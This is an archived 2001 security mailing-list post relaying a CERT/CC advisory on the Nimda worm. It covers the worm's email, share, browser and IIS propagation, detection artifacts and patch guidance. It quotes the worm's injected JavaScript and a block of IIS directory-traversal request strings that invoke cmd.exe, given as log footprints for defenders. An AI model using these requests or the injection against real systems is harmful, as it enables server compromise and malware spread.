

[NEWS] Nimda Worm Attacks Both Clients and Servers

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2001-09/0069.html>

From: support@securiteam.com

Date: 09/19/01

From: support@securiteam.com

To: list@securiteam.com

Subject: [NEWS] Nimda Worm Attacks Both Clients and Servers

Message-Id: <20010919212813.E090E138C1@mail.der-keiler.de>

Date: Wed, 19 Sep 2001 23:28:13 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> – Know that you're safe.

Nimda Worm Attacks Both Clients and Servers

SUMMARY

The CERT/CC has received reports of new malicious code known as the "W32/Nimda worm" or the "Concept Virus (CV) v.5." This new worm appears to spread by multiple mechanisms:

- * from client to client via email
- * from client to client via open network shares
- * from web server to client via browsing of compromised web sites
- * from client to web server via active scanning for and exploitation of the "Microsoft IIS 4.0 / 5.0 directory traversal" vulnerability (<http://www.securiteam.com/windowsntfocus/6U00B2000A.html>)
- * from client to web server via scanning for the back doors left behind by the "Code Red II" (<http://www.securiteam.com/windowsntfocus/5NP011F55W.html>) and "sadmin/IIS" (<http://www.cert.org/advisories/CA-2001-11.html>) worms

Initial analysis indicates that the worm contains no destructive payload beyond modification of web content to facilitate its own propagation.

Securiteam: [NEWS] Nimda Worm Attacks Both Clients and Servers

CERT/CC are also receiving reports of denial of service as a result of network scanning and email propagation.

DETAILS

Vulnerable systems:

* Systems running Microsoft Windows 95, 98, ME, NT, and 2000

The Nimda worm has the potential to affect both user workstations (clients) running Windows 95, 98, ME, NT, or 2000 and servers running Windows NT and 2000.

Email Propagation

This worm propagates through email arriving as a MIME "multipart/alternative" message consisting of two sections. The first section is defined as MIME type "text/html", but it contains no text, so the email appears to have no content. The second section is defined as MIME type "audio/x-wav", but it contains a base64-encoded attachment named "readme.exe", which is a binary executable.

Due to a vulnerability described in CA-2001-06 (Automatic Execution of Embedded MIME Types), any mail software running on an x86 platform that uses Microsoft Internet Explorer 5.5 SP1 or earlier (except IE 5.01 SP2) to render the HTML mail automatically runs the enclosed attachment and, as result, infects the machine with the worm. Thus, in vulnerable configurations, the worm payload will automatically be triggered by simply opening (or previewing) this mail message. As an executable binary, the payload can also be triggered by simply running the attachment.

The email message delivering the Nimda worm appears to also have the following characteristics:

* The text in the subject line of the mail message appears to be variable, but those seen to date have been over 80 characters long.

* There appear to be many slight variations in the attached binary file, causing the MD5 checksum to be different when one compares different attachments from different email messages. However, the file length of the attachment appears to consistently be 57344 bytes.

Payload

Infected client machines attempt to send copies of the Nimda worm via email to all addresses found in the Windows address book.

Likewise, the client machines begin scanning for vulnerable IIS servers. Nimda looks for backdoors left by previous IIS worms: Code Red II [IN-2001-09] and sadmind/IIS worm [CA-2001-11]. It also attempts to exploit the IIS Directory Traversal vulnerability (VU #111677). The selection of potential target IP addresses follows these rough probabilities:

Securiteam: [NEWS] Nimda Worm Attacks Both Clients and Servers

- * 50% of the time, an address with the same first two octets will be chosen
- * 25% of the time, an address with the same first octet will be chosen
- * 25% of the time, a random address will be chosen

The infected client machine transfers a copy of the Nimda code to any server that it scans and finds to be vulnerable. Once running on the server machine, the worm traverses each directory in the system (including all those accessible through a file shares) and write a copy of itself to disk using the name "README.EML". When a directory containing web content (e.g., HTML or ASP files) is found, the following snippet of Javascript code is appended to every one of these web-related files:

```
<scr!pt language="JavaScript">window.open("readme.eml", null, "resizable=no,top=6000,left=6000")</script>
```

This modification of web content allows further propagation of the worm to new clients through a browser or browsing of a network file system.

Browser propagation

As part of the infection process, the Nimda worm modifies all web content files it finds (including, but not limited to, files with .htm, .html, and asp extensions). As a result, any user browsing web content on the system, whether via the file system or via a web server, may download a copy of the worm. Some browsers may automatically execute the downloaded copy, thereby infecting the browsing system.

File system propagation

The Nimda worm creates numerous copies of itself (using the name README.EML) in all writable directories (including those found on a network share) to which the user has access. If a user on another system subsequently selects the copy of the worm file on the shared network drive in Windows Explorer with the preview option enabled, the worm may be able to compromise that system.

System footPrint

The scanning activity of the Nimda worm produces the following log entries for any web server listing on port 80/tcp:

```
GET /scripts/root.exe?/c+dir
GET /MSADC/root.exe?/c+dir
GET /c/winnt/system32/cmd.exe?/c+dir
GET /d/winnt/system32/cmd.exe?/c+dir
GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir
GET /_vti_bin/..%5c../..%5c../winnt/system32/cmd.exe?/c+dir
GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir
GET
/misadc/..%5c../..%5c../..%5c../\xc1\x1c../\xc1\x1c../\xc1\x1c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..\xc1\x1c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..\xc0../winnt/system32/cmd.exe?/c+dir
GET /scripts/..\xc0\xaf../winnt/system32/cmd.exe?/c+dir
GET /scripts/..\xc1\x9c../winnt/system32/cmd.exe?/c+dir
```

Securiteam: [NEWS] Nimda Worm Attacks Both Clients and Servers

```
GET /scripts/..%35c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%35c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%2f../winnt/system32/cmd.exe?/c+dir
```

Note: The first four entries in these sample logs denote attempts to connect to the backdoor left by Code Red II, while the remaining log entries are examples of exploit attempts for the Directory Traversal vulnerability.

Impact

Intruders can execute arbitrary commands within the LocalSystem security context on machines running the unpatched versions of IIS. Hosts that have been compromised are also at high risk for being party to attacks on other Internet sites.

The high scanning rate of the Nimda worm may also cause bandwidth denial-of-service conditions on networks with infected machines.

Solutions

Recommendations for system administrators of IIS machines

To determine if your system has been compromised, look for the following:

- * root.exe artifact (indicates a compromise by Code Red II or sadmind/IIS worms making the system vulnerable to the Nimda worm)
- * admin.dll artifact or unexpected .eml files in the directories with web content (indicates compromise by the Nimda worm)

The only safe way to recover from the system compromise is to format the system drive(s) and reinstall the system software from trusted media (such as vendor-supplied CD-ROM). Additionally, after the software is reinstalled, all vendor-supplied security patches must be applied. The recommended time to do this is while the system is not connected to any network. However, if sufficient care is taken to disable all server network services, then the patches can be downloaded from the Internet.

Detailed instructions for recovering your system can be found in the CERT/CC tech tip:

<http://www.cert.org/tech_tips/win-UNIX-system_compromise.html> Steps for Recovering from a UNIX or NT System Compromise

Apply the appropriate patch from your vendor

A cumulative patch which addresses all of the IIS-related vulnerabilities exploited by the Nimda worm is available from Microsoft at

<<http://www.securiteam.com/windowsntfocus/5KP0C2055A.html>>
<http://www.securiteam.com/windowsntfocus/5KP0C2055A.html>

Or

<<http://www.microsoft.com/technet/security/bulletin/MS01-044.asp>>
<http://www.microsoft.com/technet/security/bulletin/MS01-044.asp>

Securiteam: [NEWS] Nimda Worm Attacks Both Clients and Servers

Recommendations for end user systems

Apply the appropriate patch from your vendor

If you are running a vulnerable version of Internet Explorer (IE), the CERT/CC recommends applying patch for the "Automatic Execution of Embedded MIME Types" vulnerability available from Microsoft at

<<http://www.microsoft.com/technet/security/bulletin/MS01-020.asp>>
<http://www.microsoft.com/technet/security/bulletin/MS01-020.asp>

Note: The above patch has been superseded by the IE 5.01 and 5.5 patches discussed in <<http://www.securiteam.com/windowsntfocus/5WP0D204AQ.html>> MS01-027

Run and maintain an anti-virus product

It is important for users to update their anti-virus software. Most anti-virus software vendors have released updated information, tools, or virus databases to help detect and partially recover from this malicious code

Many anti-virus packages support automatic updates of virus definitions. We recommend using these automatic updates when available.

* Don't open e-mail attachments

The Nimda worm may arrive as an email attachment named "readme.exe". Users should not open this attachment.

* Disable JavaScript End-user systems can become infected with the Nimda worm by browsing web sites hosted by infected servers. This method of infection requires the use of JavaScript to be successful. Therefore, the CERT/CC recommends that end user systems disable JavaScript.

Vendor Information

Antivirus vendor information
Central Command, Inc.

<http://support.centralcommand.com/cgi-bin/command.cfg/php/enduser/std_adp.php?p_refno=010918-000005>
http://support.centralcommand.com/cgi-bin/command.cfg/php/enduser/std_adp.php?p_refno=010918-000005

Command Software Systems

<<http://www.commandsoftware.com/virus/nimda.html>>
<http://www.commandsoftware.com/virus/nimda.html>

Data Fellows Corp

<<http://www.datafellows.com/v-descs/nimda.shtml>>
<http://www.datafellows.com/v-descs/nimda.shtml>

McAfee

<http://vil.mcafee.com/dispVirus.asp?virus_k=99209&>
http://vil.mcafee.com/dispVirus.asp?virus_k=99209&

Securiteam: [NEWS] Nimda Worm Attacks Both Clients and Servers

Sophos

<<http://www.sophos.com/virusinfo/analyses/w32nimdaa.html>>
<http://www.sophos.com/virusinfo/analyses/w32nimdaa.html>

Symantec

<<http://www.symantec.com/avcenter/venc/data/w32.nimda.a@mm.html>>
<http://www.symantec.com/avcenter/venc/data/w32.nimda.a@mm.html>

Trend Micro

<http://www.antivirus.com/vinfo/virusencyclo/default5.asp?VName=TROJ_NIMDA.A>
http://www.antivirus.com/vinfo/virusencyclo/default5.asp?VName=TROJ_NIMDA.A
<http://www.antivirus.com/pc-cillin/vinfo/virusencyclo/default5.asp?VName=TROJ_NIMDA.A>
http://www.antivirus.com/pc-cillin/vinfo/virusencyclo/default5.asp?VName=TROJ_NIMDA.A

ADDITIONAL INFORMATION

The information has been provided by Roman Danyliw, Chad Dougherty, Allen Householder, Robin Ruefle of CERT.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- **Previous message:** support@securiteam.com: "[NEWS] Vulnerable SSL Implementation in iCDN"
 - **Messages sorted by:** [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)